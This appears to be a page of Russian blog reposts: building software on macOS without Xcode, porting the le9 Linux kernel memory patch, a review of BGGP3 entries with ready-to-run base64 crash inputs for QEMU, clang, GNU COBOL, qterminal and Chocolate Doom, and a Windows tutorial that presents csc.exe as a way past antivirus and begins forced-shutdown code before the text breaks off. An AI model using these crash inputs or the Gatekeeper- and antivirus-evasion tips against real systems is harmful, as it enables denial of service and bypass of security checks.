На архиве в формате .xz у Safari заканчивается весь его интеллект, поэтому никакой автоматической распаковки не будет и архив останется как есть.

Открываем текстовый редактор (TextEdit), вводим вот такой простейший код на C:

#include <stdio.h>

int main()
{
prinltlf("Йо-хо-хо и прощай XCode!\n");
return 0;
}

Cохраняем файл как hello.c в каталог ~/work/testproj.

Компилируем:

clang hello.c -I ./MacOSX13.3.sdk/usr/include -L ./MacOSX13.3.sdk/usr/lib -D __i386__ -fuse-ld=lld -o hello

Обратите внимание на флаг -fuse-ld=lld — это указание на использование линковщика поставляемого с компилятором clang вместо системного ld, который находится в библиотеке binutils, которая (сюрприз) ставится только вместе с XCode.

Установка специальной переменной __i386__ также необходима, поскольку она используется в макросах заголовочных файлов, без ее указания сборка завершится с ошибками.

Запускаем собранный бинарник:

./hello

Убеждаемся что работает:

Прежде чем у меня все получилось, несколько раз попадал на сборки clang с неправильной версией линковщика — для другой архитектуры.

Чтобы обойти эту проблему, можно скачать готовый линковщик специально для x86_64 архитектуры из этого репозитория, снять атрибут карантина, распаковать и использовать при сборке:

clang hello.c -I ./MacOSX13.3.sdk/usr/include -L ./MacOSX13.3.sdk/usr/lib -D __i386__ -fuse-ld=lld --ld-path=~/Downloads/ld64.lld -o hello

Обратите внимание что ключ -fuse-ld=lld не может содержать полный путь, поэтому для его задания нужно использовать отдельный ключ:

--ld-path=~/Downloads/ld64.lld

На сладкое еще несколько инструментов для разработки.

Java

Куда же без нее. Разумеется официальную версию поставить не выйдет, поскольку она также поставляется в виде бинарного пакета, требующего установки в систему и прав администратора.

Зато есть OpenJDK и готовые бинарные сборки для MacOS:

curl https://download.java.net/java/GA/jdk21.0.2/f2283984656d49d6... --output jdk.tar.gz

Я же не забыл рассказать что в MacOS по-умолчанию есть утилита curl? Тогда добавлю еще один интересный факт:

скачанные с помощью системного curl файлы не имеют атрибут карантина:

Поэтому распаковываем и спокойно запускаем, пока Gatekeeper не видит:

tar xvzf ~/jdk.tar.gz ./jdk-21.0.2.jdk/Contents/Home/bin/java --version

Должна отобразиться версия сборки:

И дальше спокойно работаем с любыми Java-приложениями, без ограничений.

Git

Нормальный Git в MacOS также поставляется вместе с XCode, его нехватка для нормальной работы очень быстро станет очевидной и начнет мешать жить приличным джентельменам.

К счастью все же есть временное решение в виде реализации клиента Git на.. Javascript.

Называется эта штука isomorphic‑git, работает как в браузере так и в Node.js и несмотря на всю свою технологическую «еретичность» — позволяет вполне сносно работать, хотя‑бы для простейших задач скачивания проекта.

Устанавливается разумеется с помощью npm:

npm i -g isomorphic-git

Пример использования:

isogit clone --url=https://github.com/isomorphic-git/isomorphic-git --depth=1 --singleBranch

Как видите вместо старого доброго git тут используется скрипт isogit, с совпадающими аргументами.

Эпилог

Данная статья написана исключительно в исследовательских целях, не надо пожалуйста воровать чужие маки и насиловать их владельцев (даже если им это нравится).

Автор всего лишь хотел рассказать широкой аудитории, что под капотом их любимого гламурного серебристого девайса с яблоком скрывается очень сложная и навороченная Unix‑система, которая легко и просто может быть использована для разных интересных дел, например для организации CI-сервера.

P.S.

Статья была опубликована на Хабре, оригинал доступен в нашем блоге.

Показать полностью 17
89

L9ec: волшебный патч ядра Linux

Серия Мы не пишем в техподдержку

Если вам неудержимо хочется использовать оборудование из музея для современной разработки — статья специально для вас.

Машины должны служить а не требовать ресурсы. И <a href="https://pikabu.ru/story/l9ec_volshebnyiy_patch_yadra_linux_14120415?u=https%3A%2F%2Fgithub.com%2Fhakavlad%2Fle9-patch%2Ftree%2Fmain&t=%D0%B0%D0%B2%D1%82%D0%BE%D1%80%20%D0%BF%D0%B0%D1%82%D1%87%D0%B0%20l9&h=96886bea35091eaaa75617fc7c17ccd2d201474e" title="https://github.com/hakavlad/le9-patch/tree/main" target="_blank" rel="nofollow noopener">автор патча l9</a> об этом знает.

Машины должны служить а не требовать ресурсы. И автор патча l9 об этом знает.

Эпический баг

Сейчас наверное некоторые читатели сильно удивятся:

с 2007 года в ядре Linux живет серьезный баг, приводящий к полному зависанию системы при работе под большой нагрузкой на память.

На дворе на момент написания статьи май 2025 года, так что баг успел отпраздновать совершеннолетие и открыть первую бутылку пива.

Оригинальный репорт выглядит так:

Разумеется разработчики ядра в курсе проблемы, но по ряду причин.. не считают этот баг важным.

Да, вы правильно прочитали:

«полное зависание системы под нагрузкой» и «разработчики не считают важным исправлять» — как вам такие реалии Linux?

Более того, недавно тикет с описанием этого бага вообще закрыли с эпической формулировкой «just become obsolete»:

С легким намеком, что некоторым стоит перестать собирать себе компьютеры по помойкам:

but now I don't bother with less than 32Gb of RAM for a desktop.

Теперь прокрутите обсуждение бага в трекере вниз и посмотрите на последнее сообщение о проблеме:

Специально сохранил картинкой для истории, вдруг не поверите.

Специально сохранил картинкой для истории, вдруг не поверите.

Оно конечно все замечательно и у самого автора этой статьи давно 64Гб на одной из рабочих машин, а некоторые коллеги успели впихнуть даже 128Гб, причем в ноутбук — чтобы мы наконец увидели SUSE Linux, которая не тормозит.

Но к сожалению одними любителями компьютерного антиквариата данная проблема не ограничивается — на нынешние облачные времена типичное рабочее окружение Linux это виртуальная машина, с ограниченным обьемом памяти. Скорее всего даже ваш корпоративный сайт крутится на виртуальной машине с 4Гб памяти.

Так что на самом деле проблема касается практически всех пользователей Linux, а не только идейных нищебродов энтузиастов, собирающих себе оборудование по музеям.

Как так получилось

Если вы хоть немного понимаете в компьютерах, прочитав абзац выше и сопоставив масштаб проблемы и отношение к ней разработчиков Linux, думаю уже сделали определенные выводы:

либо команда разработки ядра Linux — поголовно некомпетентны, либо у автора контракт с рептилоидами в описании выше был упущен ряд важных нюансов.

Правда как обычно где‑то между — «особенных» среди современных разработчиков Linux действительно хватает, но ряд нюансов я все же намеренно упустил.

Опишу в какой момент проявляется этот баг:

надо долго и упорно увеличивать нагрузку на использование памяти, причем маленькими порциями и обязательно из нескольких разных процессов — чтобы OOM Killer не успел отработать.

На практике надо либо заниматься тренировкой нейросетей, либо непрерывно гонять тяжелые приложения на Java/Node (в первую очередь IDE) и постоянно запускать сборку больших проектов.

И все это на неподготовленном офисном оборудовании с 4-6 Гб памяти, представляющем историческую ценность, либо в виртуальной машине.

Патч l9ec

Уже давно существует неофициальный патч, решающий описанную проблему с зависанием квадратно-гнездовым радикальным способом:

The kernel does not provide a way to protect the working set under memory pressure. A certain amount of anonymous and clean file pages is required by the userspace for normal operation. First of all, the userspace needs a cache of shared libraries and executable binaries. If the amount of the clean file pages falls below a certain level, then thrashing and even livelock can take place.

По сути этим патчем формируется небольшой объем памяти (тот самый working set), которую запрещается перегружать даже самым хитрым приложениям, откусывающим память по килобайтам.

Разумеется патч заметили и тут находится архив эпической переписки в рассылке Linux Kernel длиною в год, где автор патча пытается объяснить окружающим что он не верблюд и проблема действительно есть.

Однако патч в мейнстрим так и не попал, что наводит на определенные нехорошие мысли.

История с Xanmod

Помимо основной версии ядра т. н. «vanilla», исходники которого выкладываются на широко известном kernel.org, существуют «васянские сборки» — наборы патчей ядра, собранные энтузиастами под конкретную задачу.

Одна из таких сборок называется Xanmod и посвящена работе современного ядра на desktop-системе с минимальными визуальными задержками:

XanMod is a general-purpose Linux kernel distribution with custom settings and new features. Built to provide a stable, smooth and solid system experience.

Так вот на момент появления l9ec патча, он был включен в сборку Xanmod:

С официальной <a href="https://pikabu.ru/story/l9ec_volshebnyiy_patch_yadra_linux_14120415?u=https%3A%2F%2Fgithub.com%2Fhakavlad%2Fle9-patch%2Fblob%2Fmain%2FUSER_FEEDBACK.md&t=%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D1%8B%20%D1%81%20%D0%BE%D1%82%D0%B7%D1%8B%D0%B2%D0%B0%D0%BC%D0%B8&h=e0ac3bf577cb53340e692595b5a9b9bd86f97a62" title="https://github.com/hakavlad/le9-patch/blob/main/USER_FEEDBACK.md" target="_blank" rel="nofollow noopener">страницы с отзывами</a>, между прочим.

С официальной страницы с отзывами, между прочим.

Но в последних 6.х версиях Xanmod его уже нет, на что есть формальная причина — появление вот этого патча, вроде как окончательно решающего проблему c зависанием:

MGLRU is a kernel innovation we've been eager to see merged in 2022 and it looks like that could happen for the next cycle, v5.19, for improving Linux system performance especially in cases of approaching memory pressure.

На данный момент MGLRU в mainline и скорее всего работает прямо сейчас и у вас в системе, если конечно у вас современный линукс и MGLRU не отключен вручную.

К сожалению принцип работы MGLRU другой (см. комментарий выше про 32Гб памяти на десктопе) и тестировался его функционал тоже в другом месте:

On Android, our most advanced simulation that generates memory pressure from realistic user behavior shows 18% fewer low-memory kills, which in turn reduces cold starts by 16%.

Как нетрудно догадаться, «realistic user behavior» на мобильном Android несколько отличается от тотальной перегрузки тяжелыми средствами разработки на дохлом десктопе или еще более слабой виртуальной машине.

Поэтому «продвинутым пользователям Linux» в очередной раз придется заботиться о себе и своих проблемах самостоятельно.

Эта история — еще одна причина, по которой стоит использовать *BSD. Реклама.

Эта история — еще одна причина, по которой стоит использовать *BSD. Реклама.

Портирование на 6.х ядро

К сожалению автор патча l9 видимо устав бодаться с идиотами, не стал переносить свой замечательный патч в 6.х ветку ядра, решив что раз более умные ребята из Google выкатили MGLRU — от его решения толку больше не будет.

Как ни странно, но это не так и l9 патч куда более предсказуем и надежен как удар ломом, в отличие от цирка с аж 14 патчами MGLRU:

These initial multi-generational LRU patches amount to 14 patches at the moment and in a patched kernel can be enabled via the LRU_GEN Kconfig switch

Собственно эта статья появилась на свет после того как автор опять словил зависание под нагрузкой во время работы над большим проектом, из-за чего и решил откопать дедовский пулемет портировать известный патч в 6.х ядро.

За основу был взят последний патч для 5.х ветки без учета MGLRU: le9ec-5.15.patch а его логика добавлялась в Xanmod-версию ядра 6.14.5.

Ниже по шагам объясняю как выполнить перенос логики патча, чтобы процедуру можно было повторить и на более новых ядрах и на «vanilla» версиях.

Скачиваем архив с Xanmod ядром и l9-патч по ссылкам выше и распаковываем.

Стоит сразу предупредить, что размер текущей версии ядра Linux в распакованном виде ~1.8 Гигабайт, а для сборки понадобится еще ~28 Гигабайт.

Вот такие нынче ядра.

Разумеется применить готовый diff автоматически для ветки 6.х не получится, так что будем переносить логику патча по шагам.

Всего в рамках патча изменения происходят в пяти файлах:

Поскольку исправлять документацию нам не очень актуально, первый файл можно пропустить. Таким образом первое актуальное исправление находится в файле include/linux/mm.h, куда добавляются глобальные переменные, отвечающие за настраиваемые лимиты:

Все что нужно сделать — вставить строки в файл include/linux/mm.h:

extern unsigned long sysctl_anon_min_kbytes;
extern unsigned long sysctl_clean_low_kbytes;
extern unsigned long sysctl_clean_min_kbytes;

Следующий шаг чуть объемнее:

Необходимо найти массив static struct ctl_table vm_table[] в файле kernel/sysctl.c и добавить внутрь три блока, отвечающих за настройку.

{
.procname = "anon_min_kbytes",
.data = &sysctl_anon_min_kbytes,
.maxlen = sizeof(unsigned long),
.mode = 0644,
.proc_handler = proc_doulongvec_minmax,
},
{
.procname = "clean_low_kbytes",
.data = &sysctl_clean_low_kbytes,
.maxlen = sizeof(unsigned long),
.mode = 0644,
.proc_handler = proc_doulongvec_minmax,
},
{
.procname = "clean_min_kbytes",
.data = &sysctl_clean_min_kbytes,
.maxlen = sizeof(unsigned long),
.mode = 0644,
.proc_handler = proc_doulongvec_minmax,
},

Следующая правка в файле mm/Kconfig, которой добавляется управление новыми настраиваемыми параметрами ядра:

По-сути правки, вам надо добавить в файл mm/Kconfig три блока: ANON_MIN_KBYTES, CLEAN_LOW_KBYTES и CLEAN_MIN_KBYTES вместе со всем содержимым.

Все что выше отвечало лишь за настройку, основная логика патча l9 приходится на файл mm/vmscan.c, в котором будут происходить оставшиеся правки.

Первым делом добавляем локальные переменные:

Затем добавляем логику присваивания значений из параметров ядра:

Ориентируетесь на макрос #define prefetchw_prev_lru_folio, строки добавляются после него:

unsigned long sysctl_anon_min_kbytes __read_mostly = CONFIG_ANON_MIN_KBYTES;
unsigned long sysctl_clean_low_kbytes __read_mostly = CONFIG_CLEAN_LOW_KBYTES;
unsigned long sysctl_clean_min_kbytes __read_mostly = CONFIG_CLEAN_MIN_KBYTES;

Следующая правка добавляется в метод static void get_scan_countкоторый успел поменять сигнатуру:

Я добавил сразу после блока с переменными:

struct pglist_data *pgdat = lruvec_pgdat(lruvec);
struct mem_cgroup *memcg = lruvec_memcg(lruvec);
unsigned long anon_cost, file_cost, total_cost;
int swappiness = sc_swappiness(sc, memcg);
u64 fraction[ANON_AND_FILE];
u64 denominator = 0; /* gcc */
enum scan_balance scan_balance;
unsigned long ap, fp;
enum lru_list lru;

/*
* Force-scan anon if clean file pages is under vm.clean_low_kbytes
* or vm.clean_min_kbytes.
*/
if (sc->clean_below_low || sc->clean_below_min) {
scan_balance = SCAN_ANON;
goto out;
}

Следующая правка в этом же файле должна быть вставлена в этот же метод get_scan_count, но ниже по коду — ориентируйтесь на строку nr[lru] = scan;благо она такая одна:

Я вставил логику проверки сразу над ней:

/*
* Hard protection of the working set.
*/
if (file) {
/*
* Don't reclaim file pages when the amount of
* clean file pages is below vm.clean_min_kbytes.
*/
if (sc->clean_below_min)
scan = 0;
} else {
/*
* Don't reclaim anonymous pages when their
* amount is below vm.anon_min_kbytes.
*/
if (sc->anon_below_min)
scan = 0;
}
nr[lru] = scan;

Следующей правкой добавляется новая функция prepare_workingset_protection, которая должна вызываться из существующего метода shrink_node_memcgs:

Так что вам надо найти функцию shrink_node_memcgs (она такая одна) и вставить новую функцию prepare_workingset_protection над ней:

static void prepare_workingset_protection(pg_data_t *pgdat,
struct scan_control *sc)
{
/*
* Check the number of anonymous pages to protect them from
* reclaiming if their amount is below the specified.
*/
if (sysctl_anon_min_kbytes) {
unsigned long reclaimable_anon;

reclaimable_anon =
node_page_state(pgdat, NR_ACTIVE_ANON) +
node_page_state(pgdat, NR_INACTIVE_ANON) +
node_page_state(pgdat, NR_ISOLATED_ANON);
reclaimable_anon <<= (PAGE_SHIFT - 10);

sc->anon_below_min = reclaimable_anon < sysctl_anon_min_kbytes;
} else
sc->anon_below_min = 0;

/*
* Check the number of clean file pages to protect them from
* reclaiming if their amount is below the specified.
*/
if (sysctl_clean_low_kbytes || sysctl_clean_min_kbytes) {
unsigned long reclaimable_file, dirty, clean;

reclaimable_file =
node_page_state(pgdat, NR_ACTIVE_FILE) +
node_page_state(pgdat, NR_INACTIVE_FILE) +
node_page_state(pgdat, NR_ISOLATED_FILE);
dirty = node_page_state(pgdat, NR_FILE_DIRTY);
/*
* node_page_state() sum can go out of sync since
* all the values are not read at once.
*/
if (likely(reclaimable_file > dirty))
clean = (reclaimable_file - dirty) << (PAGE_SHIFT - 10);
else
clean = 0;

sc->clean_below_low = clean < sysctl_clean_low_kbytes;
sc->clean_below_min = clean < sysctl_clean_min_kbytes;
} else {
sc->clean_below_low = 0;
sc->clean_below_min = 0;
}
}

Собственно последняя правка это вызов новой функции из существующей shrink_node_memcgs:

После внесения всех этих исправлений, запускаем один из вариантов настройки ядра:

make xconfig

И наблюдаем новые поля настройки:

Цепочка сборки и установки ядра совершенно стандартная:

make && make modules && make modules_install && make install

К сожалению это еще не все и прежде чем патч заработает надо будет отключить MGLRU, который как я уже описывал — успели внести в основную ветку ядра:

cat /sys/kernel/mm/lru_gen/enabled

Должен показать 0x0007 если MGLRU включен, отключить можно командой:

echo 0 | sudo tee /sys/kernel/mm/lru_gen/enabled

Вот тут у автора патча лежат готовые скрипты для автоматизации всего этого цирка. Я же просто добавил строчку с отключением в /etc/rc.local.

Пруфы

Для тестов портированного патча, был взят один из моих боевых ноутбуков Lenovo Z580 2012го года выпуска, с 8Гб памяти:

На нем постоянно творится всевозможная дичь — тут пять разных операционных систем и куча проектов и инструментов для разработки на каждой.

Поэтому без особого труда были одновременно запущены:

  • PostgreSQL с реальной базой

  • MySQL тоже с реальной базой

  • Intellij Idea

  • VSCode

  • Сборка проекта на Node.js с Webpack и hot reload

  • Сборка достаточно крупного Java-проекта (~3000 исходных файлов)

  • Chromium с 20 вкладками

Напоминаю что все это на 8Гб реальной памяти и на ноутбукe. Причем в качестве ОС в этот раз была обычная Ubuntu:

Как-то так это выглядит в действии:

Через неделю после публикации я решил пойти еще дальше и поставил пропатченное с l9 ядро на ноутбук 2007 года с 3Гб памяти. И повторил тесты с нагрузкой. Видео тут.

Все более чем работает и пропатченное ядро замечательно отрабатывает свою пайку.

Эпилог

Можно сколько угодно стебаться с пожеланиями «купи себе наконец нормальный компьютер», скажу что намеренно и давно использую старое железо — в первую очередь для оценки производительности создаваемого ПО.

И это одна из причин, по которой у нас получаются технические чудеса вроде Телепорты.

Если вы пока не дошли до столь глубокой стадии просвещения в разработке — все равно стоит знать, что мы ловили подобные зависания и в виртуальных машинах с Linux, например на CI‑сервере при сборке нескольких проектов одновременно.

Так что актуальность описанного все же высокая и как получилось, что столь простой и очевидный патч, который гарантированно решает проблему до сих пор не используют активно — ума не приложу. Ну и разумеется автору патча лучи респекта, благо это лучший представитель отечественной инженерной школы.

Статья была опубликована на Хабре, оригинал, в котором автор статьи себя не сдерживал и в красках рассказал все что думает о разработчиках ядра Linux как обычно можно найти в нашем блоге.

Показать полностью 20
9

BGGP3: Хороший тамада и конкурсы интересные

Серия Хороший тамада и конкурсы интересные

Продолжаю рассказывать широкой аудитории о «гусарских забавах» компьютерной элиты. Дело поручика Ржевского живет и господа-офицеры от программирования меряются своей крутизной и развлекаются ничуть не хуже далеких предков времен Наполеона.

На фоне незабываемая Натали Портман в свои лучшие годы, перенесенная силами нейросети в питерскую коммуналку.

На фоне незабываемая Натали Портман в свои лучшие годы, перенесенная силами нейросети в питерскую коммуналку.

Конкурс

Однажды я уже рассказывал об этом интересном конкурсе для самых отбитых опытных из программерской тусовки, взяв для статьи работы с самого его первого проведения, случившегося в пандемийном 2020м.

На этот раз рассказ пойдет о третьем по счету BGGP, прошедшим в 2022 году.

Поясняю для непричастных:

Binary Golf Grand Prix — соревнование для особенных избранных от мира программирования и компьютеров: реверс-инженеров, пентестеров, системных программистов и хакеров в классическом понимании этого термина.

Раз в год все эти интересные личности собираются, придумывают какие‑нибудь особо изощренные правила и устраивают конкурс «для своих».

По духу все это сильно напоминает гусарские забавы времен Наполеона, отлично раскрытые в анекдотах про поручика Ржевского — чистый офицерский угар ради забавы и веселья.

На этот раз цель соревнования звучала лаконично:

The goal of the 3rd Annual Binary Golf Grand Prix (BGGP3) is to find the smallest file which will crash a specific program.

Проще говоря надо найти или подобрать набор байт, который будучи скормленным программе убьет ее при запуске. Пистолеты программу господин офицер волен выбрать самостоятельно. Правила столь интересного конкурса разумеется тоже доставляют:

Any software running on a machine that does not belong to you will not be accepted.

Так что конь у офицера должен быть свой, а не «арендованный» ;)

Работы оценивались по количеству набранных баллов, чем больше баллов — тем длиннее автор(ы) круче. Правила подсчета баллов тоже весьма своеобразны:

  • Базовый скор = 4096 минус размер файла

  • Плюс 1024 за статью с описанием

  • Плюс 1024 если внутреннее состояние было перезаписано байтами 0x33's или ASCII-символом "3"

  • Плюс 2048 если было достигнуто выполнение кода, в качестве доказательства - вывод числа "3"

  • Плюс 4096 если был сделан патч, закрывающий уязвимость.

Описаны далеко не все присланные работы, только те что удалось запустить и проверить в моем окружении (FreeBSD 14.3).

David3141593

https://github.com/binarygolf/BGGP/blob/main/2022/david3141593/entry.qemu.txt

11244 баллов

Работа‑победитель, набравшая больше всего итоговых баллов.

20 байт, убивающие широко известный эмулятор Qemu, причем баг до сих пор не исправлен.

Команда-убийца:

base64 -d<<<uAJPuxhBzRC61AO+E3y5BQDzbwcMDOgTCReKG4I=>a;
qemu-system-i386 -vga cirrus -no-fd-bootchk -fda a

Как это выглядит в действии:

Как это работает:

An assert() is triggered in QEMU's CirrusVGA emulation code

С помощью специально подобранного набора байт, переданного эмулятору Qemu в качестве образа дискеты вызывается программная проверка (assert), которая при срабатывании вызывает segmentation fault.

И Qemu падает. Насмерть.

novafacing

https://github.com/binarygolf/BGGP/blob/main/2022/novafacing/entry.clang.txt

5098 баллов.

23 байта убивающие компилятор clang, причем любой актуальной версии — с 15 до 19го включительно.

Команда-убийца:

base64 -d <<< aW50IG1haW4oKXtyZXR1cm4gMTt9Cg== > crash.c;
clang -target i386-apple-windows-eabi crash.c

Хотя на самом деле тут в виде base64 закодирован минимально рабочий код:

int main(){return 1;}

Как выглядит в действии:

Что происходит:

11 Separate crashes due to mishandledtarget triples passed on command line

Из-за того что clang поддерживает слишком много разных архитектур, операционных систем и окружений не все из комбинаций поддерживаются и работают:

To be fair, nobody really wants to target Apple as a vendor on the Cygnus CPU, hopefully.

Поэтому указание трешевого i386-apple-windows-eabi в качестве целевой платформы для компилятора приводит к падению, даже с валидным кодом:

clang -target i386-apple-windows-eabi <<< "int main(){}"

Еще у автора есть отдельная большая статья с детальным описанием процесса поиска этого бага, которую рекомендую к изучению.

_mattata

https://github.com/binarygolf/BGGP/blob/main/2022/_mattata/entry.gnucobol.txt

9176 баллов, 40 байт убивающих GNU COBOL.

Команда:

base64 -d <<< CSILQkdHUMKFMzMzM8KFLi4uM8KFMzMzM8KFLi4uM8KFMzMzM8KFAA== > crash.cob;
cobc -o /dev/null crash.cob

Внутри base64-строки вместо кода находится специально подобранный текстовый мусор:

" BGGP 3333 ...3 3333 ...3 3333

В действии:

Что происходит:

File causes crash due to stack protector in creation of an an error literal due to a 5-Byte Stack based overflow. Testcase aligns a NULL to exact size of CB_ERR_LITMAX.

Хотя куда показательней решение проблемы, именно так выглядят реальные баги а не весь этот ваш «вайбкодинг».

Цитируя автора:

This section correctly handles everything correctly EXCEPT a strlen of 38.

if (strlen (literal_data) > CB_ERR_LITMAX) {

If we add a single character “=”, we should no longer see a crash.

if (strlen (literal_data) >= CB_ERR_LITMAX) {

Как видите, всего лишь один символ может привести к падению столь сложной программы как компилятор. Статья с детальным описанием процесса поиска этого замечательного бага по ссылке.

0xDroogy

https://github.com/binarygolf/BGGP/blob/main/2022/0xdroogy/entry.qterminal.txt

4094 баллов

2 байта (!) убивающие приложение:

qterminal allows for an option to supply commands to be run in a new terminal. When the string “0” is sent as a command, the terminal launches and crashes immediately.

Оформление согласно правилам конкурса:

base64 -d <<< MAo= > crash.txt; qterminal -e $(cat crash.txt)

Или в более читаемом варианте:

qterminal -e 0

В действии:

Баг кстати вполне обыденный — такое часто встречается, когда некий «особенный» вариант использования программы просто не приходит в голову разработчикам. Именно для таких случаев в ИТ до сих пор нужны тестировщики и любой качественный софт все также зависит от постоянных проверок живыми людьми.

ifygecko

https://github.com/binarygolf/BGGP/blob/main/2022/ifygecko/entry.doom.txt

5112 баллов и 8 убийственных байт.

В этот раз с помощью специально сформированного «битого» файла с ресурсами в мир иной отправляется современная версия классического шутера — Chocolate Doom.

Команда-убийца:

echo -ne "IWAD\xff\xff\xff\xff" > crash.wad; chocolate-doom -iwad crash.wad

В действии:

Что происходит:

Having an 'IWAD' type wad file containing only the identification field and numlumps field with the numlumps field set to a negative value such as -1 will cause a segfault when allocating a memory block for the allocation of the lump directory from a newblock->next->prev deference that points into an invalid memory address.

Да это тоже классика «багостроения» — очень многие программы падают при попытке открытия неправильно сформированных или битых файлов с данными. Хотя в данном конкретном случае файл был сформирован намеренно битым — в нем указано количество блоков с данными в виде -1, что и убивает программу при попытке открытия.

pierrekim_alextor

https://github.com/binarygolf/BGGP/blob/main/2022/pierrekim_alextor/entry.telnet.txt

9214 балла и 2 байта убивающие демон telnetd.. вообще везде:

FreeBSD-telnetd, NetBSD-telnetd, netkit-telnetd, telnetd in Kerberos Version 5 Applications and inetutils-telnetd are standard telnet servers used in several Linux distributions, BSD systems, UNIX systems and commercial products:

  • FreeBSD, NetBSD

  • Debian, Fedora, Gentoo, ArchLinux, ... - using inetutils-telnetd or netkit-telnetd

  • specific Palo Alto appliances

  • specific Cisco appliances

  • specific Brocade appliances

  • specific Arista appliances

  • OS running telnetd from Kerberos Version 5 Applications: this may include BSD 4.3 Reno, UNICOS 5.1 to UNICOS 7.0, SunOs 3.5 to SunOs 4.1, DYNIX V3.0.17.9 and Ultrix 3.1 to Ultrix 4.0. Note that these OS may be EOL.

Эти милые люди Pierre Kim и Alexandre Torres откопали 30-летний баг в telnetd ради победы на конкурсе:

These vulnerabilities are very old (at least 30 years).

А что ты сделал для хип-хопа?

Конечно же уязвимость на данный момент закрыта да и сам telnetd ныне можно обнаружить лишь в NAS и Wifi-роутерах, что никак не снижает степерь эпичности найденного бага и заслуженное третье место в конкурсе.

Детальная статья с разбором и описанием процесса поиска находится тут.

P.S.

Статья была опубликована на Хабре, оригинал статьи в более вольном изложении можно как обычно найти в нашем блоге.

Показать полностью 5
16

Чистая Windows и разработка «без всего»

Серия Жестокие эксперименты

Есть компьютер с чистой копией Windows, без доступа в интернет и без каких‑либо установленных средств разработки. Только одна чистая пользовательская «венда». Не поверите, но даже в таких спартанских условиях возможно написать и запустить полноценную программу. И сейчас я расскажу как.

Ради этого скриншота я честно развернул пользовательскую версию Windows 11 в виртуальной машине. Чего не сделаешь ради искусства!

Ради этого скриншота я честно развернул пользовательскую версию Windows 11 в виртуальной машине. Чего не сделаешь ради искусства!

Ужасы познания

На самом деле в ОС семейства Windows с самого их начала было внутри столько всякого интересного, что никакой статьи не хватит описать, но почему-то мало кто об этом знает даже из разработчиков, особенно современных.

Спросите ради интереса знакомого программиста, возможно ли программировать на «чистой» пользовательской Windows без установки Visual Studio — удивитесь ответам.

Ну и разумеется насаждаемый «пользовательский» подход самой Microsoft, которая ковыряние во внутренностях своих продуктов мягко говоря никогда не одобряла, создал ореол простоты и надежности, без необходимости разбираться как оно внутри устроено.

Поэтому описанное ниже наверное вызовет определенный ужас как у обычных пользователей так и некоторых программистов — особенно если они обучались по видеокурсам ничего не знают об истории ОС Windows.

Начну с цитаты из одной интересной статьи:

Over the past few months, I've received several variations on this question for other operating systems and all of the released versions of the .NET Framework. When the .NET Framework is installed as a part of the OS, it does not appear in the Programs and Features (or Add/Remove Programs) control panel. The following is a complete list of which version of the .NET Framework is included in which version of the OS

И ниже длинный такой список с версиями. А вот еще один если вдруг первого оказалось недостаточно.

Ну казалось бы и.. что? Чего тут такого?

Про .NET SDK все и так знают, временами его необходимо установить «для запуска игор», временами он сам ставится в виде зависимой библиотеки и никому не мешает.

Все так, да.

Только что-то мне подсказывает внутрь вы не заглядывали, правда? Поэтому на что эта штука на самом деле способна не представляете.

А я представляю и сейчас расскажу.

Заходите в папку Windows на вашем компьютере, вот сюда:

Этот снимок из Windows 10, в нем используется системная .NET SDK 3.5, в Windows 11 будет уже 4.0

Этот снимок из Windows 10, в нем используется системная .NET SDK 3.5, в Windows 11 будет уже 4.0

Файлт csc.exe — самый настоящий компилятор, фактически портал в ад на вашем обычном домашнем компьютере.

Почему все так страшно?

Потому что через какое-то время вы обнаружите себя сильно заросшим, с бородой и красными глазами, проводящим ночи за компьютером и медленно мутирующим в программиста.

Шучу.

А если серьезно:

появляется возможность создания нативных программ сразу на вашем компьютере, минуя стадию проверки электронной подписи, проверки антивирусом, проверки электронного письма и так далее.

В отличие от VB или PowerShell-скриптов, которые анализируются перед запуском любым приличным антивирусом, антивирусы не анализируют исходный код программ на C# и куда лояльнее относятся к программам собранным локально на этой же машине.

Так что веселье начинается.

Простой пример

Для начала будет простой пример, который просто показывает стандартный диалог с сообщением. Именно его в запущенном виде вы можете видеть на заглавной картинке в статье.

Весь процесс от кода до запуска я записал на видео:

Исходный код тут казалось бы максимально простой, но с одним интересным нюансом про который ниже:

using System;
using System.Runtime.InteropServices;

namespace yoba
{
class Program
{
// импортирование нативной WinAPI функции MessageBox.
[DllImport("user32.dll")]
public static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);

static void Main(string[] args)
{
//вызываем и показываем диалог
MessageBox(IntPtr.Zero, "Йоу!", "Добро пожаловать в разработку!", 0);
}
}
}

Сохраняете этот текст обычным «блокнотом» в файл yoba.cs и запускаете сборку:

c:\Windows\Microsoft.NET\Framework\v3.5\csc.exe yoba.cs

Таким образом я запускал сборку на Windows 10, но имейте ввиду что версия системного .NET SDK может отличаться и например в Windows 11 уже будет:

c:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe yoba.cs

После сборки рядом с исходным файлом yoba.cs появится бинарник yoba.exe, который вы сможете запустить.

А теперь про нюанс.

Нюанс

Существует определенное предубеждение по отношению к managed‑языкам вроде Java и С# — они не подходят для серьезных дел вроде написания эксплоитов, использования 0day‑уязвимостей и пенетрации ядра.

Что все подобные вещи творят в глубокой тайне на чистом Си, в крайнем случае на C++ а все эти ваши Java/C# не более чем «погремушки для детей», не достойные даже косого взгляда серьезного профессионала.

Вот тут и начинается нюанс, посмотрите на эту радость:

[DllImport("user32.dll")]
public static extern int MessageBox(IntPtr hWnd,
string lpText, string lpCaption, uint uType);

Это мои дорогие читатели, ни что иное как вызов нативного WinAPI, с помощью которого творили всякое нехорошее в далекие 90е.

C# и .NET имеет оооочень глубокую интеграцию с Windows, несмотря на всю свою «безопасность» и управляемость, поэтому легко и просто может заменить собой и Си и С++ в качестве инструмента для нехороших дел.

И оно живет на вашем компьютере, дома и в офисе, с постоянной пропиской и регистрацией.

Но разумеется столь простого примера несколько мало для осознания глубины проблемы, поэтому я подготовил кое-что более серьезное.

Сложный пример: выключаем Windows

Итак, это будет относительно небольшое приложение на C#, выключающее компьютер без предупреждения и подтверждения пользователя. И само собой без прав администратора.

Просто так, внезапно.

Последствия думаю каждый из читателей сможет оценить для себя сам.

Весь процесс на видео (разумеется это виртуальная машина):

А теперь код:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Security;
using System.Diagnostics;
using System.Management;
using System.Security.Permissions;
using System.Runtime.InteropServices;

namespace yoba
{
// See http://www.developmentnow.com/g/33_2004_12_0_0_33290/Access-...
// Calling this code on backup/restore seems to enable BCD
